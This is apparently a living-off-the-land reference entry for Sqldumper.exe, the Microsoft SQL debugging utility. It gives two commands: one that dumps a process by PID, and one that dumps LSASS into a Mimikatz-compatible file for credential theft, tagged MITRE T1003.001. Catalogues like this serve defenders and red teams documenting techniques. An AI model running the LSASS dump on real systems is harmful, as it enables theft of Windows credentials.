Sqldumper.exe

Debugging utility included with Microsoft SQL.

Dump

Dump process using PID.

sqldumper.exe 464 0 0x0110

Dump process by PID and create a dump file (Appears to create a dump file called SQLDmprXXXX.mdmp). — MITRE: T1003 — Privileges: Administrator

Dump LSASS.exe to Mimikatz compatible dump using PID.

sqldumper.exe 540 0 0x01100:40

0x01100:40 flag will create a Mimikatz compatible dump file. — MITRE: T1003.001 — Privileges: Administrator